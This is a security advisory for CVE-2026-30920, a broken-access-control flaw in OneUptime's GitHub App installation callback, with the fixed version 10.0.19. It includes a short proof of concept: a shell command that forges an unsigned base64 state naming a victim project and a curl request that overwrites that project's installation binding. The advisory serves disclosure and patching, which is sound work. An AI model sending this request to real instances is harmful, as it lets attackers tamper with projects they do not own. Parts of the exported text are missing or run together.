@oneuptime/common
Affected
- introduced
0, fixed10.0.19(semver)
Fixed versions
10.0.19
Fix
- Fixed version
10.0.19npm install @oneuptime/[email protected]
Advisory
Also known as: CVE-2026-30920
OneUptime has broken access control in GitHub App installation flow that allows unauthorized project binding
Summary
OneUptime's GitHub App callback trusts attacker-controlled state and installation_id values and updates Project.gitHubAppInstallationId with isRoot: true without validating that the caller is authorized for the target project. This allows an attacker to overwrite another project's GitHub App installation binding.
Related GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create CodeRepository records in an arbitrary project.
Details
The callback decodes unsigned base64 JSON from state and uses the embedded projectId directly:
It then writes the supplied installation_id into the target project with root privileges:
await ProjectService.updateOneById({
id: new ObjectID(projectId),
data: { gitHubAppInstallationId: installationId },
props: { isRoot: true },
});
The userId in state is only checked for presence, not authenticity:
The install flow also generates state as plain base64 JSON, not a signed or session-bound token:
The follow-on endpoints are also vulnerable:
Public: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211PoC
Minimal proof of unauthorized project tampering:
STATE=$(printf '%s' '{"projectId":"<victim-project-uuid>","userId":"x"}' | base64 | tr -d '\n')
curl -isk "https://<host>/api/github/auth/callback?installation_id=999999999&state=${STATE}"
Expected result:
302 redirect to /dashboard/<victim-project-uuid>/code-repository?installation_id=999999999gitHubAppInstallationId is overwrittenImpact
Project.gitHubAppInstallationIdCodeRepository records in arbitrary projectsHigh Basis: The source's own band: HIGH
0, fixed 10.0.19 (semver)10.0.19
10.0.19npm install @oneuptime/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0